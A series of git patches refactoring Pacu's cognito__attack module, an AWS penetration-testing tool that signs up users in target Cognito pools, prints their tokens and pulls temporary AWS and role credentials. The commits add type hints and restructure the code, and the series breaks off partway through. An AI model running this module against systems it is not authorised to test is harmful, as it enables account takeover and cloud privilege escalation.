From 39c2b2c056a4445d13b22e3e1189b16c53458933 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 09:38:24 +0200 Subject: [PATCH 01/14] add types --- pacu/modules/cognito__attack/main.py | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index bdeb560d..35740c48 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -5,10 +5,11 @@ import argparse import json from pycognito.aws_srp import AWSSRP -from typing import List, Dict +from typing import List, Dict, Optional from pycognito.exceptions import SoftwareTokenMFAChallengeException from copy import deepcopy from botocore.exceptions import ClientError +from pacu import Main # Using Spencer's iam_enum.py as a template @@ -136,7 +137,7 @@ } -def main(args, pacu_main): +def main(args, pacu_main: Main): attack_users = [] all_new_regions = [] attack_user_pool_clients = [] @@ -974,7 +975,14 @@ def parse_user_attributes(user_attributes: str) -> List[Dict[str, str]]: return json_data -def sign_up(client, email, client_id, username, password, user_attributes=None): +def sign_up( + client, + email: str, + client_id: str, + username: str, + password: str, + user_attributes: List[Dict[str, str]] = None, +) -> Optional[str]: user_attributes = user_attributes or [] email_exists = any(attribute["Name"] == "email" for attribute in user_attributes) @@ -989,10 +997,10 @@ def sign_up(client, email, client_id, username, password, user_attributes=None): UserAttributes=user_attributes, ) print(f"Successfully signed up user {username}.") - return True + return username except client.exceptions.UsernameExistsException: print(f"Username {username} already exists. Attempting to log in.") - return "exists" + return None except client.exceptions.InvalidParameterException as e: error_message = str(e) print(error_message) @@ -1026,7 +1034,7 @@ def sign_up(client, email, client_id, username, password, user_attributes=None): ) except Exception as e: print(f"Error signing up user {username}: {str(e)}") - return False + return None def verify(client, username, client_id, user_pool_id, region): From d5f83999ce0a0e79bb5a7d9495d7824be415eb6c Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 09:38:33 +0200 Subject: [PATCH 02/14] ignore .vscode folder --- .gitignore | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.gitignore b/.gitignore index 26e79ca0..b1382aab 100644 --- a/.gitignore +++ b/.gitignore @@ -529,3 +529,7 @@ modules/lambda__backdoor_new_users/lambda_function.zip modules/lambda__backdoor_new_roles/lambda_function.py modules/lambda__backdoor_new_roles/lambda_function.zip modules/iam__privesc_scan/PassExistingRoleToNewCodeStarProject/codestar_cf_template.json + +# vscode + +.vscode/ \ No newline at end of file From dc1f12b0119cb04396d4425fae183eb62298283a Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 10:08:29 +0200 Subject: [PATCH 03/14] add guard clause --- pacu/modules/cognito__attack/main.py | 605 +++++++++++++-------------- 1 file changed, 282 insertions(+), 323 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index 35740c48..17874af5 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -408,140 +408,30 @@ def main(args, pacu_main: Main): except Exception: test = "yes" - if response is True or "exists" in str(response): - if response is True: - tokens = verify( - client, - args.username, - up_client["ClientId"], - up_client["UserPoolId"], - up_client["Region"], - ) - all_new_regions.append(up_client["Region"]) - elif "yes" in test: - print("User exists.") - try: - aws = AWSSRP( - username=args.username, - password=args.password, - pool_id=up_client["UserPoolId"], - client_id=up_client["ClientId"], - client=client, - ) - tokens = aws.authenticate_user() - if "AuthenticationResult" in tokens: - print("You're signed in as " + args.username + "!") - print( - "Your access token is: " - + tokens["AuthenticationResult"]["AccessToken"] - ) - print( - "Your ID token is: " + tokens["AuthenticationResult"]["IdToken"] - ) - print( - "Your refresh token is: " - + tokens["AuthenticationResult"]["RefreshToken"] - ) - print( - "Your token type is: " - + tokens["AuthenticationResult"]["TokenType"] - ) - attack_user["Username"] = args.username - attack_user["Region"] = up_client["Region"] - attack_user["UserPoolId"] = up_client["UserPoolId"] - attack_user["ClientId"] = up_client["ClientId"] - attack_user["Tokens"]["AccessToken"] = tokens[ - "AuthenticationResult" - ]["AccessToken"] - attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"][ - "IdToken" - ] - attack_user["Tokens"]["RefreshToken"] = tokens[ - "AuthenticationResult" - ]["RefreshToken"] - attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ - "TokenType" - ] - credentials = get_identity_credentials( - cognito_identity_pools, - identity_client, - tokens["AuthenticationResult"]["IdToken"], - up_client["UserPoolId"], - up_client["Region"], - ) - if credentials is not None: - print("Temporary credentials retrieved!") - print(credentials) - attack_user["Credentials"]["AccessKeyId"] = credentials[ - "AccessKeyId" - ] - attack_user["Credentials"]["SecretKey"] = credentials[ - "SecretKey" - ] - attack_user["Credentials"]["SessionToken"] = credentials[ - "SessionToken" - ] - attack_user["Credentials"]["Expiration"] = credentials[ - "Expiration" - ] - new_tokens, new_credentials = get_custom_attributes( - client, - tokens, - args.password, - up_client["Region"], - up_client["ClientId"], - up_client["UserPoolId"], - cognito_identity_pools, - identity_client, - identity_pool, - ) - attack_user["NewTokens"] = new_tokens - attack_user["NewCredentials"] = new_credentials - roles = get_assumable_roles( - tokens["AuthenticationResult"]["IdToken"] - ) - attack_user["NewRoleTokens"] = prompt_assume_roles( - identity_client, - identity_pool, - roles, - region, - up_client["UserPoolId"], - tokens["AuthenticationResult"]["IdToken"], - ) - if attack_user["NewRoleTokens"] is not None: - attack_user["NewRoleCredentials"] = attack_user["NewRoleTokens"] - attack_user_data = client.get_user( - AccessToken=tokens["AuthenticationResult"]["AccessToken"] - ) - attack_user["UserAttributes"] = attack_user_data["UserAttributes"] - attack_users.append(attack_user) - continue - except SoftwareTokenMFAChallengeException as error: - try: - code = input( - "Please enter the MFA code generated by your application: " - ) - print("Entering final MFA challenge") - error_string = str(error) - aws2session = re.search(r"'Session': '(.*?)'", error_string) - if aws2session: - aws2sessionfinal = aws2session.group(1) - else: - print("NO MATCH FOUND") - continue + if response is None: + return - tokens = client.respond_to_auth_challenge( - ClientId=up_client["ClientId"], - ChallengeName="SOFTWARE_TOKEN_MFA", - Session=aws2sessionfinal, - ChallengeResponses={ - "USERNAME": args.username, - "SOFTWARE_TOKEN_MFA_CODE": code, - }, - ) - except ClientError as err: - print(err) - continue + if response is True: + tokens = verify( + client, + response, + up_client["ClientId"], + up_client["UserPoolId"], + up_client["Region"], + ) + all_new_regions.append(up_client["Region"]) + elif "yes" in test: + print("User exists.") + try: + aws = AWSSRP( + username=args.username, + password=args.password, + pool_id=up_client["UserPoolId"], + client_id=up_client["ClientId"], + client=client, + ) + tokens = aws.authenticate_user() + if "AuthenticationResult" in tokens: print("You're signed in as " + args.username + "!") print( "Your access token is: " @@ -607,207 +497,181 @@ def main(args, pacu_main: Main): identity_client, identity_pool, roles, - up_client["Region"], + region, up_client["UserPoolId"], tokens["AuthenticationResult"]["IdToken"], ) if attack_user["NewRoleTokens"] is not None: attack_user["NewRoleCredentials"] = attack_user["NewRoleTokens"] - if new_tokens is None: - attack_user_data = client.get_user( - AccessToken=tokens["AuthenticationResult"]["AccessToken"] - ) - attack_user["UserAttributes"] = attack_user_data["UserAttributes"] - attack_users.append(attack_user) + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) continue + except SoftwareTokenMFAChallengeException as error: + try: + code = input( + "Please enter the MFA code generated by your application: " + ) + print("Entering final MFA challenge") + error_string = str(error) + aws2session = re.search(r"'Session': '(.*?)'", error_string) + if aws2session: + aws2sessionfinal = aws2session.group(1) + else: + print("NO MATCH FOUND") + continue - if tokens["ChallengeName"] == "MFA_SETUP": - try: - print("First, we need to set up an MFA application.") - associate_token_response = client.associate_software_token( - Session=tokens["Session"] - ) - qr_img = qrcode.make( - f"otpauth://totp/{args.username}?secret={associate_token_response['SecretCode']}" - ) - qr_img.save("qr.png") - print( - "A QR code has been generated for you. Please scan it with your MFA application." - ) - try: - webbrowser.open("qr.png") - except Exception: - print( - "Something went wrong when opening the file. Note that this cannot be done as root." - "Please manually open qr.png in the working directory to scan the QR code." - ) - continue + tokens = client.respond_to_auth_challenge( + ClientId=up_client["ClientId"], + ChallengeName="SOFTWARE_TOKEN_MFA", + Session=aws2sessionfinal, + ChallengeResponses={ + "USERNAME": args.username, + "SOFTWARE_TOKEN_MFA_CODE": code, + }, + ) + except ClientError as err: + print(err) + continue + print("You're signed in as " + args.username + "!") + print( + "Your access token is: " + tokens["AuthenticationResult"]["AccessToken"] + ) + print("Your ID token is: " + tokens["AuthenticationResult"]["IdToken"]) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] + ) + print("Your token type is: " + tokens["AuthenticationResult"]["TokenType"]) + attack_user["Username"] = args.username + attack_user["Region"] = up_client["Region"] + attack_user["UserPoolId"] = up_client["UserPoolId"] + attack_user["ClientId"] = up_client["ClientId"] + attack_user["Tokens"]["AccessToken"] = tokens["AuthenticationResult"][ + "AccessToken" + ] + attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"]["IdToken"] + attack_user["Tokens"]["RefreshToken"] = tokens["AuthenticationResult"][ + "RefreshToken" + ] + attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ + "TokenType" + ] + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + if credentials is not None: + print("Temporary credentials retrieved!") + print(credentials) + attack_user["Credentials"]["AccessKeyId"] = credentials["AccessKeyId"] + attack_user["Credentials"]["SecretKey"] = credentials["SecretKey"] + attack_user["Credentials"]["SessionToken"] = credentials["SessionToken"] + attack_user["Credentials"]["Expiration"] = credentials["Expiration"] + new_tokens, new_credentials = get_custom_attributes( + client, + tokens, + args.password, + up_client["Region"], + up_client["ClientId"], + up_client["UserPoolId"], + cognito_identity_pools, + identity_client, + identity_pool, + ) + attack_user["NewTokens"] = new_tokens + attack_user["NewCredentials"] = new_credentials + roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) + attack_user["NewRoleTokens"] = prompt_assume_roles( + identity_client, + identity_pool, + roles, + up_client["Region"], + up_client["UserPoolId"], + tokens["AuthenticationResult"]["IdToken"], + ) + if attack_user["NewRoleTokens"] is not None: + attack_user["NewRoleCredentials"] = attack_user["NewRoleTokens"] + if new_tokens is None: + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) + continue - mfa_code = input( - "Please enter the MFA code generated by your application: " - ) - client.verify_software_token( - Session=associate_token_response["Session"], UserCode=mfa_code - ) - print("Now that an MFA application is set up, let's sign in again.") - print( - "You will have to wait for a NEW MFA code to appear in your MFA application." - ) - try: - aws2 = AWSSRP( - username=args.username, - password=args.password, - pool_id=up_client["UserPoolId"], - client_id=up_client["ClientId"], - client=client, - ) - tokens = aws2.authenticate_user() - except SoftwareTokenMFAChallengeException as error: - try: - code = input( - "Please enter the MFA code generated by your application: " - ) - print("Entering final MFA challenge") - error_string = str(error) - aws2session = re.search(r"'Session': '(.*?)'", error_string) - if aws2session: - aws2sessionfinal = aws2session.group(1) - else: - print("NO MATCH FOUND") - continue - - tokens = client.respond_to_auth_challenge( - ClientId=up_client["ClientId"], - ChallengeName="SOFTWARE_TOKEN_MFA", - Session=aws2sessionfinal, - ChallengeResponses={ - "USERNAME": args.username, - "SOFTWARE_TOKEN_MFA_CODE": code, - }, - ) - except ClientError as err: - print(err) - continue - print("You're signed in as " + args.username + "!") - print( - "Your access token is: " - + tokens["AuthenticationResult"]["AccessToken"] - ) - print( - "Your ID token is: " + tokens["AuthenticationResult"]["IdToken"] - ) - print( - "Your refresh token is: " - + tokens["AuthenticationResult"]["RefreshToken"] - ) + if tokens["ChallengeName"] == "MFA_SETUP": + try: + print("First, we need to set up an MFA application.") + associate_token_response = client.associate_software_token( + Session=tokens["Session"] + ) + qr_img = qrcode.make( + f"otpauth://totp/{args.username}?secret={associate_token_response['SecretCode']}" + ) + qr_img.save("qr.png") + print( + "A QR code has been generated for you. Please scan it with your MFA application." + ) + try: + webbrowser.open("qr.png") + except Exception: print( - "Your token type is: " - + tokens["AuthenticationResult"]["TokenType"] - ) - attack_user["Username"] = args.username - attack_user["Region"] = up_client["Region"] - attack_user["UserPoolId"] = up_client["UserPoolId"] - attack_user["ClientId"] = up_client["ClientId"] - attack_user["Tokens"]["AccessToken"] = tokens[ - "AuthenticationResult" - ]["AccessToken"] - attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"][ - "IdToken" - ] - attack_user["Tokens"]["RefreshToken"] = tokens[ - "AuthenticationResult" - ]["RefreshToken"] - attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ - "TokenType" - ] - credentials = get_identity_credentials( - cognito_identity_pools, - identity_client, - tokens["AuthenticationResult"]["IdToken"], - up_client["UserPoolId"], - up_client["Region"], - ) - if credentials is not None: - print("Temporary credentials retrieved!") - print(credentials) - attack_user["Credentials"]["AccessKeyId"] = credentials[ - "AccessKeyId" - ] - attack_user["Credentials"]["SecretKey"] = credentials[ - "SecretKey" - ] - attack_user["Credentials"]["SessionToken"] = credentials[ - "SessionToken" - ] - attack_user["Credentials"]["Expiration"] = credentials[ - "Expiration" - ] - new_tokens, new_credentials = get_custom_attributes( - client, - tokens, - args.password, - up_client["Region"], - up_client["ClientId"], - up_client["UserPoolId"], - cognito_identity_pools, - identity_client, - identity_pool, - ) - attack_user["NewTokens"] = new_tokens - attack_user["NewCredentials"] = new_credentials - roles = get_assumable_roles( - tokens["AuthenticationResult"]["IdToken"] + "Something went wrong when opening the file. Note that this cannot be done as root." + "Please manually open qr.png in the working directory to scan the QR code." ) - attack_user["NewRoleTokens"] = prompt_assume_roles( - identity_client, - identity_pool, - roles, - region, - up_client["UserPoolId"], - tokens["AuthenticationResult"]["IdToken"], - ) - if attack_user["NewRoleTokens"] is not None: - print( - "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." - ) - new_role_credentials = get_identity_credentials( - cognito_identity_pools, - identity_client, - attack_user["NewRoleTokens"]["IdToken"], - up_client["UserPoolId"], - up_client["Region"], - ) - attack_user["NewRoleCredentials"] = new_role_credentials - if new_tokens is None: - attack_user_data = client.get_user( - AccessToken=tokens["AuthenticationResult"]["AccessToken"] - ) - attack_user["UserAttributes"] = attack_user_data[ - "UserAttributes" - ] - attack_users.append(attack_user) - if new_tokens is not None: - attack_user_data = client.get_user( - AccessToken=new_tokens["AuthenticationResult"][ - "AccessToken" - ] - ) - attack_user["UserAttributes"] = attack_user_data[ - "UserAttributes" - ] - attack_users.append(attack_user) continue - except ClientError as err: - print(err) - continue - elif tokens["ChallengeName"] == "SOFTWARE_TOKEN_MFA": - code = input( + mfa_code = input( "Please enter the MFA code generated by your application: " ) - tokens = client.verify_software_token( + client.verify_software_token( Session=associate_token_response["Session"], UserCode=mfa_code ) + print("Now that an MFA application is set up, let's sign in again.") + print( + "You will have to wait for a NEW MFA code to appear in your MFA application." + ) + try: + aws2 = AWSSRP( + username=args.username, + password=args.password, + pool_id=up_client["UserPoolId"], + client_id=up_client["ClientId"], + client=client, + ) + tokens = aws2.authenticate_user() + except SoftwareTokenMFAChallengeException as error: + try: + code = input( + "Please enter the MFA code generated by your application: " + ) + print("Entering final MFA challenge") + error_string = str(error) + aws2session = re.search(r"'Session': '(.*?)'", error_string) + if aws2session: + aws2sessionfinal = aws2session.group(1) + else: + print("NO MATCH FOUND") + continue + + tokens = client.respond_to_auth_challenge( + ClientId=up_client["ClientId"], + ChallengeName="SOFTWARE_TOKEN_MFA", + Session=aws2sessionfinal, + ChallengeResponses={ + "USERNAME": args.username, + "SOFTWARE_TOKEN_MFA_CODE": code, + }, + ) + except ClientError as err: + print(err) + continue print("You're signed in as " + args.username + "!") print( "Your access token is: " @@ -889,12 +753,106 @@ def main(args, pacu_main: Main): up_client["Region"], ) attack_user["NewRoleCredentials"] = new_role_credentials - attack_user_data = client.get_user( - AccessToken=tokens["AuthenticationResult"]["AccessToken"] + if new_tokens is None: + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) + if new_tokens is not None: + attack_user_data = client.get_user( + AccessToken=new_tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) + continue + + except ClientError as err: + print(err) + continue + elif tokens["ChallengeName"] == "SOFTWARE_TOKEN_MFA": + code = input("Please enter the MFA code generated by your application: ") + tokens = client.verify_software_token( + Session=associate_token_response["Session"], UserCode=mfa_code + ) + print("You're signed in as " + args.username + "!") + print( + "Your access token is: " + tokens["AuthenticationResult"]["AccessToken"] + ) + print("Your ID token is: " + tokens["AuthenticationResult"]["IdToken"]) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] + ) + print("Your token type is: " + tokens["AuthenticationResult"]["TokenType"]) + attack_user["Username"] = args.username + attack_user["Region"] = up_client["Region"] + attack_user["UserPoolId"] = up_client["UserPoolId"] + attack_user["ClientId"] = up_client["ClientId"] + attack_user["Tokens"]["AccessToken"] = tokens["AuthenticationResult"][ + "AccessToken" + ] + attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"]["IdToken"] + attack_user["Tokens"]["RefreshToken"] = tokens["AuthenticationResult"][ + "RefreshToken" + ] + attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ + "TokenType" + ] + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + if credentials is not None: + print("Temporary credentials retrieved!") + print(credentials) + attack_user["Credentials"]["AccessKeyId"] = credentials["AccessKeyId"] + attack_user["Credentials"]["SecretKey"] = credentials["SecretKey"] + attack_user["Credentials"]["SessionToken"] = credentials["SessionToken"] + attack_user["Credentials"]["Expiration"] = credentials["Expiration"] + new_tokens, new_credentials = get_custom_attributes( + client, + tokens, + args.password, + up_client["Region"], + up_client["ClientId"], + up_client["UserPoolId"], + cognito_identity_pools, + identity_client, + identity_pool, + ) + attack_user["NewTokens"] = new_tokens + attack_user["NewCredentials"] = new_credentials + roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) + attack_user["NewRoleTokens"] = prompt_assume_roles( + identity_client, + identity_pool, + roles, + region, + up_client["UserPoolId"], + tokens["AuthenticationResult"]["IdToken"], + ) + if attack_user["NewRoleTokens"] is not None: + print( + "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." ) - attack_user["UserAttributes"] = attack_user_data["UserAttributes"] - attack_users.append(attack_user) - break + new_role_credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + attack_user["NewRoleTokens"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + attack_user["NewRoleCredentials"] = new_role_credentials + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) + break if regions != []: print("Running cognito__enum again to add new users to Pacu database.") @@ -983,6 +941,7 @@ def sign_up( password: str, user_attributes: List[Dict[str, str]] = None, ) -> Optional[str]: + return None user_attributes = user_attributes or [] email_exists = any(attribute["Name"] == "email" for attribute in user_attributes) From 8d667793b42475bfb90391cd02f06fcb87214108 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 10:10:23 +0200 Subject: [PATCH 04/14] remove test return --- pacu/modules/cognito__attack/main.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index 17874af5..b597e7f0 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -941,7 +941,6 @@ def sign_up( password: str, user_attributes: List[Dict[str, str]] = None, ) -> Optional[str]: - return None user_attributes = user_attributes or [] email_exists = any(attribute["Name"] == "email" for attribute in user_attributes) From cd615899fdd0aede45ecedc2cbbcc79893f36382 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 10:11:31 +0200 Subject: [PATCH 05/14] use break as other functions --- pacu/modules/cognito__attack/main.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index b597e7f0..b679e141 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -406,10 +406,11 @@ def main(args, pacu_main: Main): args.user_attributes, ) except Exception: - test = "yes" + print("User exists.") + break if response is None: - return + break if response is True: tokens = verify( From 7bf113700be5a5a95d67c601d1548dd0ac4ae1c7 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 10:12:19 +0200 Subject: [PATCH 06/14] rename response to username --- pacu/modules/cognito__attack/main.py | 46 +++++++++++++--------------- 1 file changed, 22 insertions(+), 24 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index b679e141..c2cf2be5 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -269,19 +269,19 @@ def main(args, pacu_main: Main): for user_pool in args.user_pools.split(","): region = user_pool.split("_")[0] client = pacu_main.get_boto3_client("cognito-idp", region) - response = None + username = None next_token = None - while response is None or next_token is not None: + while username is None or next_token is not None: if next_token is None: try: print( f"Trying to list original user pool clients for UserPoolId: {user_pool} in region {region}" ) - response = client.list_user_pool_clients( + username = client.list_user_pool_clients( UserPoolId=user_pool, MaxResults=60 ) - for user_pool_client in response["UserPoolClients"]: + for user_pool_client in username["UserPoolClients"]: client_info = {} print("User pool client found.") client_info["ClientId"] = user_pool_client["ClientId"] @@ -290,12 +290,12 @@ def main(args, pacu_main: Main): up_clients.append(client_info) attack_user_pool_clients.append(client_info) - if "NextToken" in response: - next_token = response["NextToken"] + if "NextToken" in username: + next_token = username["NextToken"] except ClientError as error: code = error.response["Error"]["Code"] - print(response) + print(username) print("FAILURE: ") if code == "UnauthorizedOperation": print(" Access denied to ListUserPoolClients.") @@ -313,11 +313,11 @@ def main(args, pacu_main: Main): print( f"Trying to list else-block user pool clients for UserPoolId: {user_pool}" ) - response = client.list_user_pool_clients( + username = client.list_user_pool_clients( NextToken=next_token, UserPoolId=user_pool, MaxResults=60 ) - for user_pool_client in response["UserPoolClients"]: + for user_pool_client in username["UserPoolClients"]: client_info = {} print("User pool client found.") client_info["ClientId"] = user_pool_client["ClientId"] @@ -340,9 +340,9 @@ def main(args, pacu_main: Main): print(" Skipping user pool client enumeration...") break - if "NextToken" in response: + if "NextToken" in username: print("NextToken found.") - next_token = response["NextToken"] + next_token = username["NextToken"] else: print("No NextToken found.") break @@ -397,7 +397,7 @@ def main(args, pacu_main: Main): "cognito-identity", up_client["Region"] ) try: - response = sign_up( + username = sign_up( client, args.email, up_client["ClientId"], @@ -409,20 +409,18 @@ def main(args, pacu_main: Main): print("User exists.") break - if response is None: + if username is None: break - if response is True: - tokens = verify( - client, - response, - up_client["ClientId"], - up_client["UserPoolId"], - up_client["Region"], - ) - all_new_regions.append(up_client["Region"]) - elif "yes" in test: - print("User exists.") + tokens = verify( + client, + username, + up_client["ClientId"], + up_client["UserPoolId"], + up_client["Region"], + ) + all_new_regions.append(up_client["Region"]) + try: aws = AWSSRP( username=args.username, From 394667272094f47a33ecd5f91fbb2219a9f6fec8 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 10:15:18 +0200 Subject: [PATCH 07/14] use returned username --- pacu/modules/cognito__attack/main.py | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index c2cf2be5..eefdf101 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -423,7 +423,7 @@ def main(args, pacu_main: Main): try: aws = AWSSRP( - username=args.username, + username=username, password=args.password, pool_id=up_client["UserPoolId"], client_id=up_client["ClientId"], @@ -431,7 +431,7 @@ def main(args, pacu_main: Main): ) tokens = aws.authenticate_user() if "AuthenticationResult" in tokens: - print("You're signed in as " + args.username + "!") + print("You're signed in as " + username + "!") print( "Your access token is: " + tokens["AuthenticationResult"]["AccessToken"] @@ -444,7 +444,7 @@ def main(args, pacu_main: Main): print( "Your token type is: " + tokens["AuthenticationResult"]["TokenType"] ) - attack_user["Username"] = args.username + attack_user["Username"] = username attack_user["Region"] = up_client["Region"] attack_user["UserPoolId"] = up_client["UserPoolId"] attack_user["ClientId"] = up_client["ClientId"] @@ -527,14 +527,14 @@ def main(args, pacu_main: Main): ChallengeName="SOFTWARE_TOKEN_MFA", Session=aws2sessionfinal, ChallengeResponses={ - "USERNAME": args.username, + "USERNAME": username, "SOFTWARE_TOKEN_MFA_CODE": code, }, ) except ClientError as err: print(err) continue - print("You're signed in as " + args.username + "!") + print("You're signed in as " + username + "!") print( "Your access token is: " + tokens["AuthenticationResult"]["AccessToken"] ) @@ -544,7 +544,7 @@ def main(args, pacu_main: Main): + tokens["AuthenticationResult"]["RefreshToken"] ) print("Your token type is: " + tokens["AuthenticationResult"]["TokenType"]) - attack_user["Username"] = args.username + attack_user["Username"] = username attack_user["Region"] = up_client["Region"] attack_user["UserPoolId"] = up_client["UserPoolId"] attack_user["ClientId"] = up_client["ClientId"] @@ -611,7 +611,7 @@ def main(args, pacu_main: Main): Session=tokens["Session"] ) qr_img = qrcode.make( - f"otpauth://totp/{args.username}?secret={associate_token_response['SecretCode']}" + f"otpauth://totp/{username}?secret={associate_token_response['SecretCode']}" ) qr_img.save("qr.png") print( @@ -638,7 +638,7 @@ def main(args, pacu_main: Main): ) try: aws2 = AWSSRP( - username=args.username, + username=username, password=args.password, pool_id=up_client["UserPoolId"], client_id=up_client["ClientId"], @@ -664,14 +664,14 @@ def main(args, pacu_main: Main): ChallengeName="SOFTWARE_TOKEN_MFA", Session=aws2sessionfinal, ChallengeResponses={ - "USERNAME": args.username, + "USERNAME": username, "SOFTWARE_TOKEN_MFA_CODE": code, }, ) except ClientError as err: print(err) continue - print("You're signed in as " + args.username + "!") + print("You're signed in as " + username + "!") print( "Your access token is: " + tokens["AuthenticationResult"]["AccessToken"] @@ -684,7 +684,7 @@ def main(args, pacu_main: Main): print( "Your token type is: " + tokens["AuthenticationResult"]["TokenType"] ) - attack_user["Username"] = args.username + attack_user["Username"] = username attack_user["Region"] = up_client["Region"] attack_user["UserPoolId"] = up_client["UserPoolId"] attack_user["ClientId"] = up_client["ClientId"] @@ -774,7 +774,7 @@ def main(args, pacu_main: Main): tokens = client.verify_software_token( Session=associate_token_response["Session"], UserCode=mfa_code ) - print("You're signed in as " + args.username + "!") + print("You're signed in as " + username + "!") print( "Your access token is: " + tokens["AuthenticationResult"]["AccessToken"] ) @@ -784,7 +784,7 @@ def main(args, pacu_main: Main): + tokens["AuthenticationResult"]["RefreshToken"] ) print("Your token type is: " + tokens["AuthenticationResult"]["TokenType"]) - attack_user["Username"] = args.username + attack_user["Username"] = username attack_user["Region"] = up_client["Region"] attack_user["UserPoolId"] = up_client["UserPoolId"] attack_user["ClientId"] = up_client["ClientId"] From e7a10f529ad4b44c5a4d9c81225fb18ffa2225b6 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 10:20:02 +0200 Subject: [PATCH 08/14] remove unused test variable --- pacu/modules/cognito__attack/main.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index eefdf101..f494631d 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -390,7 +390,6 @@ def main(args, pacu_main: Main): aws = [] aws2session = "" qr_img = [] - test = "" tokens = [] client = pacu_main.get_boto3_client("cognito-idp", up_client["Region"]) identity_client = pacu_main.get_boto3_client( From 48039a61c9ab33393ddcd459cb09aac41bba7ac2 Mon Sep 17 00:00:00 2001 From: Eduard Schwarzkopf Date: Fri, 5 Apr 2024 10:38:32 +0200 Subject: [PATCH 09/14] introduce signup response class --- pacu/modules/cognito__attack/main.py | 41 +++++++++++++++++++--------- 1 file changed, 28 insertions(+), 13 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index f494631d..c20e6bf7 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -5,6 +5,7 @@ import argparse import json from pycognito.aws_srp import AWSSRP +from dataclasses import dataclass from typing import List, Dict, Optional from pycognito.exceptions import SoftwareTokenMFAChallengeException from copy import deepcopy @@ -52,6 +53,7 @@ ], } + parser = argparse.ArgumentParser(add_help=False, description=module_info["description"]) parser.add_argument( "--email", @@ -137,6 +139,12 @@ } +@dataclass +class SignUpResponse: + username: Optional[str] = None + is_new_user: bool = True + + def main(args, pacu_main: Main): attack_users = [] all_new_regions = [] @@ -396,7 +404,7 @@ def main(args, pacu_main: Main): "cognito-identity", up_client["Region"] ) try: - username = sign_up( + sign_up_resposne = sign_up( client, args.email, up_client["ClientId"], @@ -408,17 +416,20 @@ def main(args, pacu_main: Main): print("User exists.") break + username = sign_up_resposne.username + if username is None: break - tokens = verify( - client, - username, - up_client["ClientId"], - up_client["UserPoolId"], - up_client["Region"], - ) 